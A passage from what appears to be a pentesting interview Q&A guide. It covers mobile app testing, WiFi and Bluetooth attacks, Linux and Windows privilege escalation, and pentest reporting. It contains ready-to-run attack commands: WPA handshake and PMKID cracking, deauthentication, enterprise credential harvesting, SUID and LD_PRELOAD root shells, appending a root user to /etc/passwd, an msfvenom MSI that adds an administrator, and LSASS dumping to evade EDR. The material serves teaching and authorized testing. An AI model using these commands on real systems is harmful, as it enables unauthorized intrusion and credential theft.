Runtime mobile exploration toolkit built on Frida. Provides pre-built scripts via a REPL: ios sslpinning disable, android root disable, memory list modules, jobs list, env. Eliminates having to write Frida scripts for common tasks. Both Android and iOS. Workflow: frida-server on device, objection -g <pkg> explore on workstation.

Q399. What are common Android root detection techniques and how do you bypass them?

Detection: 1) Check for su binary in PATH. 2) Check for Magisk packages. 3) Read /system properties. 4) Check signature of build keys. 5) Try to write to /system. 6) Native code checks. Bypass: 1) Frida script (RootBeerFresh bypass, codeshare scripts). 2) Magisk Hide / Zygisk. 3) Patch app to skip detection. 4) Objection: android root disable.

Q400. What is an IPA and what's inside?

iOS App Archive — ZIP archive with structure: Payload/AppName.app/ containing executable (Mach-O), Info.plist (metadata, permissions, URL schemes, ATS settings), embedded.mobileprovision (provisioning profile), _CodeSignature (signatures), resources, frameworks. From App Store, the Mach-O is encrypted with FairPlay; decryption requires a jailbroken device with frida-ios-dump or Clutch.

Q401. How do you decrypt an iOS app from the App Store?

Jailbroken device with the app installed. frida-ios-dump (dump.py) uses Frida to dump the decrypted binary from memory. Alternative: bagbak, Clutch. Once decrypted, analyze with class-dump (Objective-C class definitions), Hopper/IDA/Ghidra (disassembly), or just strings.

Q402. What is class-dump and what does it reveal?

Extracts Objective-C class headers from a decrypted Mach-O. Reveals all class names, method signatures, protocols, properties. Even in obfuscated apps, runtime introspection isn't easily hidden. Use it to find interesting methods (login, encrypt, getToken) and target them with Frida hooks. Swift classes are less introspectable but mangled names still hint at structure.

Q403. How do you intercept iOS app HTTPS traffic?

1) Install Burp CA on device via Settings > Profiles > Trust. 2) ATS (App Transport Security) enforces HTTPS + TLS 1.2 + valid cert by default in Info.plist — may need to set NSAllowsArbitraryLoads = true in plist (requires repackaging) or bypass with Frida. 3) For cert pinning: SSL Kill Switch 2 (jailbroken), Frida pinning bypass scripts, Objection ios sslpinning disable.

Q404. What is jailbreak detection and how do you bypass it?

App refuses to run on jailbroken devices, checking for: 1) Cydia.app, Sileo.app, Zebra. 2) /private/var/lib/apt directories. 3) Ability to fork() (sandboxed apps can't). 4) URL scheme cydia:// usable. 5) SSH daemon running. Bypass: Objection's ios jailbreak disable, Liberty Lite tweak (Cydia/Sileo), Shadow tool, Frida-based bypass scripts at codeshare.

Q405. Where does iOS store sensitive data and what's vulnerable?

1) Keychain — generally secure, but accessibility levels matter (kSecAttrAccessibleAlways means usable when locked — bad for sensitive). 2) NSUserDefaults — plaintext plist. 3) Core Data — SQLite. 4) Files in app sandbox /var/mobile/Containers/Data/Application/<UUID>/. 5) Custom plist files. 6) Caches/snapshots (app screenshot retained on app switch — sensitive data visible). 7) Pasteboard.

Q406. What is the iOS app sandbox and how can it be escaped?

Each app runs in its own /var/mobile/Containers/Data/Application/<UUID>/ with no access to other apps. Escape: jailbreak (kernel-level escape, allows root and full filesystem). For pentests, jailbreak is assumed — research is about what data leaks even within a non-jailbroken sandbox (backups, iCloud sync, IPC abuse via custom URL schemes).

Q407. What is iOS URL scheme attack and an example?

Apps register custom URL schemes (myapp://) in Info.plist. Other apps can open these URLs. Risks: 1) Auth bypass — myapp://settings/admin opens admin screen without auth. 2) URL parameters reach WebViews → XSS. 3) Sensitive actions invoked from other apps (transfer money via deep link). Universal Links (iOS 9+) are more secure (HTTPS + domain validation via apple-app-site-association).

Q408. Frida command to bypass iOS jailbreak detection.

Use Objection's pre-built bypass.

```
objection -g com.target.app explore
# then in REPL:
ios jailbreak disable
```

Q409. What is M1 Improper Credential Usage and what do you test?

1) Hardcoded credentials/API keys in code, strings, plist, manifest, native libs. 2) Default credentials. 3) Credentials in logs or analytics. 4) Insecure transmission (HTTP basic auth over HTTP). 5) Credentials in screenshots (auto-saved task switcher views). Test via static analysis (grep secrets, trufflehog) and dynamic (Frida hook authentication methods).

Q410. How do you find hardcoded secrets in an Android app?

Decompile + grep heuristics combined with secret-scanning tools.

```
apktool d app.apk
grep -ri -E &#x27;AKIA[A-Z0-9]{16}|sk_live|api_key|password|secret&#x27; app-decoded/
strings app/lib/arm64-v8a/*.so | grep -iE &#x27;http|key|password&#x27;
trufflehog filesystem app-decoded
```

Q411. What is M9 Insecure Data Storage — example findings?

1) SQLite DB with plaintext PII in /data/data/<pkg>/databases/. 2) SharedPrefs with auth token. 3) External storage files with sensitive data (sdcard, world-readable). 4) Backup-enabled app where adb backup recovers everything. 5) iOS Keychain item with kSecAttrAccessibleAlways. Mitigation: encrypt at rest (EncryptedSharedPreferences, SQLCipher), Keychain with kSecAttrAccessibleWhenUnlockedThisDeviceOnly.

Q412. What is M10 Insufficient Cryptography?

Weak crypto practices in mobile apps. Common findings: 1) ECB mode (deterministic — same plaintext maps to same ciphertext, leaks patterns). 2) Hardcoded encryption keys in binary. 3) Custom 'crypto' (XOR, base64). 4) Random keys from non-CSPRNG. 5) Static IVs reused across messages. 6) MD5/SHA1 for password hashing. 7) Bad key derivation (no salt, low iterations).

Q413. Common iOS pasteboard leaks.

Apps often copy sensitive data (passwords, OTPs) to clipboard intentionally or accidentally. UIPasteboard.general is system-wide by default — any app can read. iOS 14+ shows a banner when an app reads from pasteboard — pentest finding if your app reads sensitive data on launch (e.g., banking app pulls OTP from messages via pasteboard). Use UIPasteboardOptionLocalOnly when copying internally.

Q414. What is the OWASP MSTG/MASVS?

MASVS (Mobile App Security Verification Standard): security requirements for mobile apps in three levels (L1: standard, L2: defense-in-depth, R: resilience to reverse engineering). MSTG (Mobile Security Testing Guide): how to test each MASVS requirement. Combined, they are the authoritative mobile pentest spec — far better than ad-hoc checklists.

Q415. What is APKtool vs jadx vs apksigner?

apktool: decode/encode APKs — manifest, resources, smali. apksigner: signs APKs (needed after modifying for resigning to install). jadx: decompiles dex to readable Java. They serve different stages: apktool for resource analysis and repackaging, jadx for code review. Modern workflow: jadx-gui for browsing, apktool for surgical changes, then apksigner to re-sign before testing.

Q416. How do you patch an app to disable a check (e.g., root detection)?

1) apktool d app.apk to get smali code. 2) jadx-gui app.apk to find the check method in Java. 3) Map back to smali (.smali file with same class name). 4) Replace the boolean return with const v0, 0x0 followed by return v0 (force-return false). 5) apktool b to repack. 6) zipalign + apksigner sign. 7) adb install patched.apk. Easier than fighting with Frida sometimes.

Q417. What is the mobile API endpoint testing workflow?

1) Decompile app, find API base URL (often in BuildConfig or strings). 2) Capture all API calls via Burp during normal app use (intercept after SSL pinning bypass). 3) Build a Postman collection / cataloged endpoint list. 4) Apply standard API tests: BOLA, BFLA, mass assignment, auth bypass, rate limit. 5) Look for mobile-only endpoints not used by the web — often less protected. Mobile clients are 'just another API client' — same rules apply.

Q418. What is biometric authentication bypass on Android?

BiometricPrompt with .setNegativeButton and onAuthenticationSucceeded — apps often check only that onAuthenticationSucceeded fired, not that the result is cryptographically tied. Bypass via Frida — hook the callback to call onAuthenticationSucceeded directly. Strong implementation binds biometric result to a CryptoObject (sign data with hardware-backed key), making bypass require device key access (much harder).

CHAPTER 08

Wireless Pentesting

WiFi
WPA2/WPA3
Enterprise
Bluetooth

Chapter 08 — Wireless Pentesting

WiFi | WPA2/WPA3 | Enterprise | Bluetooth

Q421. What are the different WiFi security protocols?

WEP (Wired Equivalent Privacy, 1997): broken — RC4 with reused IVs. Cracked in minutes with aircrack-ng. WPA (2003): TKIP + RC4 — interim fix, broken too. WPA2 (2004): AES-CCMP + 4-way handshake (PSK or 802.1X) — long industry standard, vulnerable to offline crack of PSK and KRACK. WPA3 (2018): SAE (Simultaneous Authentication of Equals) replacing PSK — defends against offline brute force, forward secrecy. Still has Dragonblood-class flaws on some implementations.

Q422. Explain the WPA2 4-way handshake.

Used to derive PTK (Pairwise Transient Key) from PMK (Pairwise Master Key, from PSK). Messages: 1) AP → STA: ANonce (random). 2) STA → AP: SNonce + MIC (proves STA knows PSK). 3) AP → STA: GTK + MIC. 4) STA → AP: ACK. Attacker capturing the handshake can attempt offline brute force — try PSK candidates to derive PMK→PTK, check MIC against captured. WPA3 SAE replaces this to prevent that.

Q423. What is the WPA2 PMKID attack and why is it powerful?

Discovered 2018 (hashcat team). Instead of waiting for a client handshake, attacker requests an EAPOL frame from the AP that contains the PMKID (derived from PMK + AP MAC + Client MAC). The AP responds without needing a client to be present. PMKID can then be brute-forced offline. Tool: hcxdumptool. Massively easier than capturing handshakes. Affects PMK-caching networks (most consumer WPA2-PSK).

Q424. Command to capture WPA2 PMKID with hcxdumptool.

Put adapter in monitor mode, capture for 60s, convert to hashcat format.

```
sudo airmon-ng start wlan0
sudo hcxdumptool -i wlan0mon -o capture.pcapng --enable_status=1
hcxpcapngtool -o pmkid.hash capture.pcapng
hashcat -m 22000 pmkid.hash rockyou.txt
```

Q425. Command to crack WPA2 handshake with aircrack-ng.

```
aircrack-ng -w rockyou.txt -b &lt;BSSID&gt; capture.cap
```

Q426. Walk through capturing a WPA2 handshake.

1) Monitor mode: airmon-ng start wlan0 (creates wlan0mon). 2) Discover APs: airodump-ng wlan0mon. Note target BSSID and channel. 3) Targeted capture: airodump-ng --bssid AA:BB:CC:DD:EE:FF -c 6 -w cap wlan0mon. 4) Force a client to reauth: aireplay-ng --deauth 5 -a <BSSID> -c <client_MAC> wlan0mon. 5) Wait for handshake (top right of airodump shows). 6) Crack offline.

Q427. What is the aircrack-ng suite — name the key tools.

1) airmon-ng: monitor mode start/stop. 2) airodump-ng: packet capture & AP/client discovery. 3) aireplay-ng: packet injection (deauth, fake auth, ARP replay). 4) aircrack-ng: WEP/WPA cracking (offline). 5) airbase-ng: rogue AP setup. 6) packetforge-ng: craft custom 802.11 packets. 7) airdecap-ng: decrypt captured traffic with known key. Standard toolkit on every pentester's lab Kali.

Q428. What is wifite and when do you use it?

Python wrapper that automates the aircrack-ng workflow — scans for APs, captures handshakes/PMKID, runs cracks, supports WPS attacks. Less granular than manual but excellent for time-pressured engagements or stadium-style wide tests. wifite (or wifite2) on Kali.

Q429. What is an Evil Twin attack?

Set up rogue AP with the same SSID as a legitimate one, often with stronger signal or jammed legitimate AP. Clients reconnect to attacker AP. With captive portal, you serve a fake login page asking for the WiFi password / corporate creds / phishing target. Tools: airbase-ng, hostapd-wpe, Fluxion (automated), wifiphisher. Modern clients with PMF/802.11w resist deauth.

Q430. What is the Karma attack?

Wireless attack — many devices broadcast probe requests for SSIDs they've connected to before (StarbucksWiFi, AirportFree). Attacker AP responds 'yes I'm <whatever you asked for>' to every probe and accepts the connection without auth. Tools: hostapd-mana, MANA toolkit. Modern OS (Win10, iOS 14+) randomize MAC and don't probe for hidden SSIDs anymore — defense effective.

Q431. What is WPS and what are the attacks against it?

WiFi Protected Setup — push-button or PIN-based easy setup. PIN is 8 digits, but split into two halves (4+3+checksum) — only 11,000 combos to brute. Tools: Reaver, Bully. Many APs lock after failures (Reaver -d ratelimits). Also Pixie Dust attack — exploits weak entropy in nonce generation, recovers PIN offline in seconds on vulnerable chipsets (Realtek, Broadcom, Ralink). Disable WPS — period.

Q432. Command to run Reaver against a WPS-enabled AP.

```
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv -K 1
```

Q433. What is WPA3 and what attacks exist against it?

Successor to WPA2. Uses SAE (Simultaneous Authentication of Equals — based on Dragonfly handshake) instead of 4-way + PSK; mutual authentication with forward secrecy. Attacks: Dragonblood (CVE-2019-9494 et al.) — timing/cache side channels in SAE allow password recovery; downgrade attacks via Transition Mode (WPA2/WPA3 both available). Patches deployed; remaining devices need updates.

Q434. What is WPA-Enterprise (802.1X) and how do you attack it?

WPA2/3 + RADIUS authentication. Uses EAP methods: EAP-TLS (cert-based, hardest), PEAP (cert + tunneled password), EAP-TTLS (similar to PEAP), EAP-PWD, EAP-FAST. Attacks: 1) eaphammer — sets up rogue WPA-Enterprise AP to harvest creds (PEAP/MSCHAPv2 hashes). 2) hostapd-wpe. 3) Karma-style: clients sometimes don't validate the RADIUS server cert. 4) MSCHAPv2 crackable offline (asleap, johntheripper).

Q435. Command to set up eaphammer for harvesting Enterprise creds.

eaphammer -i wlan1 -e CorpWiFi -h --auth ttls --creds

Q436. What is 802.11w / PMF and what does it prevent?

Protected Management Frames — encrypt management frames (deauth, disassoc). Without PMF, attackers send forged deauth to disconnect clients, force reconnects (for handshake capture or Evil Twin redirect). With PMF, deauth must be authenticated — prevents this entire class of attack. WPA3 mandates PMF; WPA2 can enable it. Mature engagements: PMF on means classical deauth attacks don't work.

Q437. How do you defend a corporate WiFi against pentests?

1) WPA3 or at least WPA2-Enterprise (no PSK). 2) PMF/802.11w enabled. 3) Strong RADIUS cert + client validates it (don't allow 'continue anyway' in client config). 4) EAP-TLS preferred (no harvest-and-crack like PEAP). 5) Disable WPS. 6) WIDS (Wireless IDS): rogue AP detection (e.g., Aruba ClearPass, Cisco Adaptive Wireless IPS). 7) Network access control / posture check. 8) Separate guest network on different VLAN.

Q438. What is a captive portal attack?

After connecting to rogue AP (Evil Twin), serve a fake login page that mimics the corporate portal. Victim types credentials, the attacker logs them. Tools: wifiphisher, Fluxion. Modern OSes (iOS, Android) auto-open captive portals in restricted browsers — gives attacker a controlled window. Even sophisticated users fall for it; in red teams it's high-success.

Q439. What is monitor mode and managed mode?

Managed mode: normal operation — adapter associates with one AP, sees frames addressed to it. Monitor mode: captures ALL frames on the channel — beacons, probes, deauths, data — regardless of destination. Required for capturing handshakes, PMKID, broadcast analysis. Not all chipsets support it: Atheros (ath9k), Realtek (RTL8812AU with aircrack drivers), Ralink (RT3070) work well; many built-in laptop adapters don't.

Q440. What are the WiFi channels and bands?

2.4 GHz: channels 1–14 (only 1, 6, 11 non-overlapping in most regions). 5 GHz: channels 36, 40, 44, 48, ... 165 (much wider spectrum, less congested). 6 GHz: WiFi 6E, channels 1–233 (uncongested but range issues). For monitor mode capture, you tune to one channel at a time; sweep with airodump-ng's hopping by default.

Q441. What is a 'hidden SSID' and is it effective?

AP doesn't broadcast its SSID in beacons. Marketing as 'security feature'. Useless — when a legitimate client probes for the SSID (probe request), the SSID is in cleartext. airodump-ng reveals the hidden SSID once any client connects: <length:N> in airodump output becomes the actual SSID when probe is captured. Also paradoxically makes Karma attacks easier (clients probing for the SSID).

Q442. What is MAC address filtering and why doesn't it work?

AP allows only specific MAC addresses to associate. Bypass: airodump-ng to see connected client MACs, then macchanger --mac AA:BB:CC:DD:EE:FF wlan0 to clone one (after deauth or wait for client to disconnect). MAC filtering is annoying, not secure. Still seen in 'security checklists' but pentesters demonstrate bypass routinely.

Q443. What are Bluetooth security models?

1) Bluetooth Classic (BR/EDR) — pairing via Just Works, PIN entry, OOB. Old pairing weakness. 2) Bluetooth LE (BLE) — Secure Connections (ECDH) with Numeric Comparison/Passkey Entry/Just Works/OOB. Just Works has no MitM protection but encrypts. 3) Pairing/bonding stores LTK (Long Term Key). Vulnerabilities: KNOB (Key Negotiation Of Bluetooth) — entropy downgrade. BLURtooth. SweynTooth. BLE-pairing brute force.

Q444. What is BlueBorne?

2017 set of vulnerabilities (CVE-2017-1000251 et al.) in Bluetooth stacks on Android, Linux, Windows, iOS — RCE without pairing, just Bluetooth on and discoverable. Affected billions of devices. Patches widely deployed. Importance: Bluetooth is parsed by privileged daemons — bugs there are root. Still emerges periodically (BleedingTooth 2020). Mitigation: disable BT when not in use, keep firmware updated.

CHAPTER 09

Exploitation & Post-Exploitation

Privesc
Lateral Movement
C2
EDR Evasion

Chapter 09 — Exploitation & Post-Exploitation

Privesc | Lateral Movement | C2 | EDR Evasion

Q451. Walk me through your Linux privesc enumeration workflow.

Run linPEAS first (catch-all). Then manually verify: 1) id, sudo -l (current privs). 2) /etc/passwd, /etc/shadow (readable?). 3) find / -perm -u=s -type f 2>/dev/null (SUID binaries). 4) getcap -r / 2>/dev/null (capabilities). 5) cat /etc/crontab, /var/spool/cron/*, /etc/cron.* (cron jobs). 6) ps -aux (running processes as root). 7) kernel version uname -a + linux-exploit-suggester. 8) Writable files /etc/passwd, /etc/sudoers.d/. 9) Mounted shares, NFS no_root_squash.

Q452. What is SUID and how is it abused for privesc?

Set-User-ID bit on an executable makes it run with the OWNER's privileges (not the caller's). If a SUID binary owned by root has a vulnerability or unsafe function (executes shell, reads/writes files), attacker gets root. find / -perm -u=s -type f. Then check GTFOBins (gtfobins.github.io) for each — many common binaries (vim, find, less, awk, python) have known SUID-to-root tricks if misconfigured.

Q453. Show GTFOBins exploitation of SUID find for root shell.

If 'find' has the SUID bit set: find . -exec /bin/sh -p \; -quit (the -p preserves privileges).

Q454. What are Linux capabilities and how are they abused?

Capabilities split root's omnipotence into granular permissions (CAP_SYS_ADMIN, CAP_NET_RAW, etc.). A binary with file capabilities (getcap -r /) has those privileges without needing SUID. CAP_SETUID on python: python -c 'import os;os.setuid(0);os.system("sh")'. CAP_DAC_READ_SEARCH lets you read any file. GTFOBins also covers capability abuse.

Q455. What is the sudo -l check and how do you exploit findings?

sudo -l lists what the current user can run with sudo. Look for: 1) (ALL) NOPASSWD: ALL — game over. 2) Specific binaries you can sudo-run: check GTFOBins. 3) NOPASSWD on editor (vim, less, nano) — escape to shell. 4) Wildcards in command paths (sudo /usr/local/bin/script *) — argument injection via filenames. 5) env_keep+=LD_PRELOAD — LD_PRELOAD attack to load malicious library.

Q456. Explain the LD_PRELOAD attack.

LD_PRELOAD environment variable specifies a shared library to load before others. If sudo preserves LD_PRELOAD (via env_keep), you can load a library that runs code in setuid context. Library: void _init() { setuid(0); system('/bin/sh'); } compiled with -fPIC -shared. Then LD_PRELOAD=./lib.so sudo <allowed-command> spawns root shell. Mitigation: don't include LD_PRELOAD/LD_LIBRARY_PATH in sudo env_keep.

Q457. What are common kernel exploit conditions and where do you find them?

Look for: 1) Old kernel (uname -a). 2) Released exploits matching kernel version. Tools: linux-exploit-suggester (LES), linux-exploit-suggester-2. CVE catalogs: linpeas highlights matches. Famous: DirtyCow (CVE-2016-5195), DirtyPipe (CVE-2022-0847), PwnKit (CVE-2021-4034 polkit, not strictly kernel but local privesc). Caveat: kernel exploits can crash hosts — get permission before running in production.

Q458. What is PwnKit?

CVE-2021-4034 — Polkit's pkexec mishandled argv[0]=NULL allowing local privilege escalation from any user to root. Affected every major distro for 12+ years. PoC: a few dozen lines of C. Patches widely deployed but legacy systems still vulnerable. Demonstrates that the attack surface of SUID binaries is often underestimated.

Q459. How do you exploit a writable /etc/passwd?

If /etc/passwd is writable by your user, add a new root user with a known password.

```
openssl passwd -1 -salt salt &#x27;hacked&#x27;
# Output e.g.: $1$salt$Nq3.YnYJDz5GLP5...
echo &#x27;pwn:$1$salt$Nq3.YnYJDz5GLP5...:0:0:root:/root:/bin/bash&#x27; &gt;&gt; /etc/passwd
su pwn  # password &#x27;hacked&#x27;
```

Q460. Windows privesc enumeration workflow.

Run WinPEAS first. Then check: 1) whoami /priv (privileges — SeImpersonatePrivilege = JuicyPotato/PrintSpoofer). 2) whoami /groups (Administrators? Backup Operators?). 3) systeminfo, wmic qfe (patches — feed Watson). 4) Unquoted service paths (wmic service get name,pathname). 5) Weak service permissions (accesschk -uwcqv 'Authenticated Users' *). 6) AlwaysInstallElevated registry keys. 7) Scheduled tasks. 8) Registry: stored creds, autologon password.

Q461. What is SeImpersonatePrivilege and how do you abuse it?

Privilege to impersonate a client after authentication. Service accounts (IIS pool, SQL Server) often have it. Abuse: trick a SYSTEM-level process to authenticate to you, capture the token, impersonate. Tools: PrintSpoofer (Print Spooler abuse), GodPotato (.NET 4+), RoguePotato, JuicyPotato (older). Result: nt authority\system shell. Mitigation: limit SeImpersonatePrivilege; modern Windows tightened things considerably.

Q462. Command to run PrintSpoofer for privesc.

```
PrintSpoofer.exe -i -c cmd
```

Q463. What is AlwaysInstallElevated?

GPO setting that makes MSI installers run as SYSTEM regardless of caller. Registry keys: HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated and HKCU equivalent set to 1. Build malicious MSI: msfvenom -p windows/x64/exec CMD='net localgroup administrators pwn /add' -f msi -o pwn.msi. Then msiexec /quiet /qn /i pwn.msi. Adds user to admins. Mitigation: don't enable this GPO.

Q464. What is an unquoted service path attack?

Service binary path with spaces and no quotes: C:\Program Files\Some Service\service.exe. Windows tries to execute C:\Program.exe, then C:\Program Files\Some.exe, etc., before the real path. If attacker has write to any intermediate folder (C:\ or C:\Program Files\) and the service runs as SYSTEM, drop a binary there. Find: wmic service get name,pathname | findstr /v 'C:\Windows\\\'".

Q465. What is DLL hijacking?

Application loads DLLs by name; Windows search order: app directory → System32 → SysWOW64 → current dir → PATH. If attacker can place a malicious DLL earlier in the search order than the legitimate one, app loads attacker's code with the app's privileges. Variants: DLL search order, DLL side-loading (legit signed app loads attacker DLL from co-located location — used by APT groups for AV evasion). ProcMon + identify missing DLLs to find candidates.

Q466. How does mimikatz work and what does it extract?

Mimikatz interacts with Windows LSA to dump credentials from memory: 1) sekurlsa::logonpasswords — extracts NTLM hashes, Kerberos tickets, plaintext passwords (cached, especially with WDigest enabled). 2) lsadump::sam — local SAM hashes. 3) lsadump::dcsync — Domain Controller replication (DCSync attack). 4) kerberos::list / golden — TGT operations. 5) sekurlsa::pth — Pass-the-Hash. Run as administrator (requires SE_DEBUG_PRIVILEGE).

Q467. How do EDRs detect mimikatz and how do operators evade?

Detections: 1) Process behavior (LSASS access from non-system process). 2) Signature-based (default mimikatz binary). 3) Memory scans for known strings. 4) PPL (LSA Protected Process Light) blocks dump. Evasion: 1) Live off the land — comsvcs.dll MiniDump (rundll32 comsvcs.dll, MiniDump <PID> dump.dmp full), then offline parse with pypykatz. 2) Custom AMSI-evading version. 3) Direct syscalls. 4) Re-compile with renamed strings (SharpKatz). EDR-vs-attacker arms race.

Q468. Walk me through a basic stack buffer overflow exploitation.

1) Identify a vulnerable function — strcpy, gets, scanf %s — with a fixed-size stack buffer and user input. 2) Find offset to EIP/RIP: send Metasploit pattern_create.rb, watch crash, pattern_offset.rb. 3) Find a way to control execution: JMP ESP gadget in a non-ASLR module. 4) Identify bad chars (\x00, \x0a, \x0d typically). 5) Generate shellcode: msfvenom with appropriate badchars. 6) Build buffer: junk + JMP_ESP_addr + NOP_sled + shellcode + padding. 7) Send.

Q469. What is ASLR and how do you bypass it?

Address Space Layout Randomization — randomizes base addresses of stack, heap, libraries. Bypasses: 1) Info leak (format string, OOB read) reveals an address; calculate offsets to others. 2) Brute force on 32-bit (entropy ~256 — feasible). 3) Use non-ASLR module if any (legacy DLL compiled without /DYNAMICBASE). 4) Partial overwrite — overwrite only low byte of saved return; randomization affects high bits. 5) ret2plt + ret2libc with leaks.

Q470. What is DEP/NX?

Data Execution Prevention / No-eXecute bit — marks memory pages as non-executable. Stack and heap typically NX, .text typically RX. Stops 'inject shellcode and execute' attacks. Bypass: ROP (Return-Oriented Programming) — chain existing code gadgets ending in 'ret' to build malicious behavior without executing new code. Tools: ROPgadget, mona.py (Immunity Debugger). Combine with info leak to defeat ASLR + DEP.

Q471. What are stack canaries and bypass techniques?

Compiler-inserted random value between buffer and saved return address; check on function exit. Overflow corrupts canary → process killed. Bypass: 1) Info leak the canary (format string %p, %s). 2) Per-thread canaries; once leaked, often static within thread. 3) Brute force last byte then full canary on forking server (each fork has same canary). 4) Bypass via overwrite of structures before canary (e.g., function pointers, exception handlers).

Q472. What are persistence techniques on Windows?

1) Registry Run keys (HKCU\Software\Microsoft\Windows\CurrentVersion\Run). 2) Scheduled tasks (schtasks /create). 3) Windows Services (sc create). 4) WMI event subscription. 5) DLL search-order hijack. 6) Startup folder. 7) Logon scripts. 8) COM hijacking (HKCU CLSID). 9) Image File Execution Options debugger. 10) BITS jobs. MITRE ATT&CK T1547 catalogs them. Defenders watch for these registry/file/scheduler changes.

CHAPTER 10

Reporting & Soft Skills

CVSS
Risk
Communication
Behavioral

Chapter 10 — Reporting & Soft Skills

CVSS | Risk | Communication | Behavioral

Q481. What is the structure of a high-quality pentest report?

1) Cover + table of contents. 2) Executive Summary (1–2 pages, business language, overall risk rating, key themes, top 3-5 issues). 3) Scope and Methodology (what was tested, what wasn't, approach). 4) Findings (per-finding: title, severity, CVSS, description, impact, evidence, reproduction steps, remediation). 5) Attack Narrative (red team only — chain of compromise). 6) Appendices (raw scanner output, tested URLs, tools used). Consistent template builds trust.

Q482. How do you write a good executive summary?

1) Lead with the bottom line: 'X critical findings; the most severe allows complete domain compromise.' 2) State business impact, not tech jargon ('attacker could access customer payment data' not 'BOLA in /api/v1/orders'). 3) Group findings by theme (auth weaknesses, missing patching, config). 4) Provide a comparison baseline if possible (prior year, industry). 5) End with a clear call to action. Keep to 1–2 pages.

Q483. How do you write a technical finding so a dev can fix it?

1) Clear title — vulnerability + location. 2) Severity + CVSS vector. 3) One-paragraph description (what + why it's a problem). 4) Step-by-step reproduction with curl/Burp request screenshots. 5) Evidence — what data was accessed, what was demonstrated. 6) Impact — concrete scenarios. 7) Remediation: specific guidance (code snippet showing the fix, not just 'sanitize input'). 8) References (OWASP, CVE, vendor docs). 9) Affected hosts/URLs/endpoints listed.

Q484. Calculate CVSS for a critical SQL injection (unauth, full DB access).

Vector: AV:N (network — internet-accessible endpoint) / AC:L (low — works first try) / PR:N (no privileges) / UI:N (no user interaction) / S:U (scope unchanged — DB and app in same scope) / C:H (high — full DB read) / I:H (high — can write data) / A:H (high — can DROP tables). Result: 9.8 Critical. Vector string: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.

Q485. CVSS for a stored XSS reachable only by admin viewing user-submitted ticket.

AV:N / AC:L / PR:L (attacker needs an account to submit ticket) / UI:R (admin must view the ticket) / S:C (script runs in admin's browser, different security scope) / C:H (admin session compromise — high) / I:H (can perform admin actions) / A:N (no availability impact). Score: 8.0 High. The S:C boost reflects the cross-scope impact (low-priv attacker → admin context).

Q486. Why is CVSS not enough by itself?

CVSS is a snapshot of technical severity without context. A 9.8 SQLi on a system holding only public marketing data is less impactful than a 7.5 IDOR exposing PII for 10M users. Pentest reports should include CVSS PLUS business-context risk rating (combining likelihood, threat actor capability, asset value, data classification). Many orgs use CVSS Environmental Score (modifies based on environment) or proprietary scoring like DREAD/STRIDE.

Q487. What is the Temporal CVSS score?

Modifies Base score by time-varying factors: Exploit Code Maturity (proof-of-concept → high), Remediation Level (official fix lowers, unavailable raises), Report Confidence (unconfirmed lowers). Used by enterprises to prioritize patching — 9.8 vuln with public weaponized exploit > 9.8 with no PoC. Often skipped in standard reports; useful for ongoing vuln mgmt.

Q488. How do you decide a finding's severity when CVSS says Medium but you feel it's High?

CVSS is guidance, not gospel. Adjust based on: 1) Compensating controls present or absent. 2) Exploitability in target's environment. 3) Asset criticality (banking app vs internal wiki). 4) Aggregation — multiple Medium findings chain to High exploit (always note 'finding X enables finding Y'). 5) Threat model — likelihood of exploitation given attacker profile. Document the rationale in the report; auditors and clients appreciate transparency.

Q489. How do you prioritize remediation when there are 50 findings?

Tiered timeline. P0 (Critical, fix within 7 days): exploitable now, exposes regulated data, public PoC. P1 (High, 30 days): exploitable with skill, sensitive systems, key controls bypassed. P2 (Medium, 90 days): partial impact, requires conditions. P3 (Low, 180 days or next release): hardening, defense-in-depth. Communicate as a remediation roadmap, not a list. Group thematically (auth issues all together → single sprint).

Q490. What is a re-test and how do you scope it?

Follow-up engagement validating that remediation closed the original findings. Scope: only the findings claimed fixed. Output: pass/partial/fail per finding. Don't expand scope unless contracted — clients sometimes try to slip new functionality in. Re-test report is short — usually finding-by-finding status table + brief notes. Sometimes find regressions or that the 'fix' moved the bug elsewhere.

Q491. What goes in a Letter of Attestation?

Short formal letter (1 page) confirming a pentest was conducted: testing organization, dates, scope (high level only — exact URLs may be sensitive), methodology (PTES/OWASP/NIST), key results summary (no specifics — 'X critical, Y high'), and a statement of overall risk posture. Used by clients for auditor/customer evidence. Signed by the testing engagement lead. Never disclose attack details in attestation.

Q492. Describe your most impactful finding.

Frame as story (Situation, Task, Action, Result). Example: 'During an e-commerce client engagement, I found that the coupon validation API trusted client-supplied prices in the request body. Created a $0.01 invoice for any product. Impact: estimated 100% revenue loss if exploited at scale. Disclosed same day; fix deployed in 48 hours. The client added input-validation gates to their API design checklist after.' Choose a finding that shows both technical skill AND business impact understanding.

Q493. How do you handle disagreement with a developer who says a finding is 'not exploitable'?

Don't escalate emotionally. Walk through reproduction together — often the dev's local env doesn't match production. If they're right, document the gap (works only with X config) and adjust severity. If you're right, demonstrate end-to-end exploitation with crystal-clear evidence and impact (not just 'curl returns 200'). Bring data: 'I extracted these 5 records belonging to other users'. The goal is fixing the bug, not winning an argument.

Q494. How do you stay current in this field?

Daily: PortSwigger Daily Swig newsletter, X/Twitter security folks (James Kettle, Frans Rosen, Orange Tsai), HackerOne disclosed reports. Weekly: research blogs (PortSwigger, Project Discovery, Project Zero), Black Hat/DEFCON talks. Monthly: try new tools and new techniques in a lab. Yearly: at least one conference (Nullcon, BSides Bangalore/Hyderabad, DEFCON virtual), one new certification or hard lab (HackTheBox Pro Labs, OSEP, CRTO). And — write up findings; teaching solidifies learning.

Q495. What's the biggest mistake you've made in a pentest?

Show self-awareness without disqualifying yourself. Example: 'Early in my career, I ran a sqlmap with --level=5 --risk=3 against a production-like env without warning the client about timing impact, and we caused a brief slowdown. I learned to (a) always warn the client before noisy/heavy tools, (b) start with lower risk levels and escalate, (c) maintain a real-time communication channel during testing. Now I send a 'tool starting' message in Slack before every heavy run.'

Q496. Why do you want to be a pentester? / Why pentesting over defense?

Authentic answers vary. Common: 'I'm wired to break and understand systems — the puzzle aspect. Pentesting gives me the depth of attacker mindset that also makes me a better defender. I enjoy the constant learning curve — every engagement teaches something new. And I like the tangible impact: my reports often lead to clear, measurable security improvements. Defense roles appeal to me long-term, but I want to build attacker fluency first.'

Q497. How do you explain a complex vulnerability to a non-technical executive?

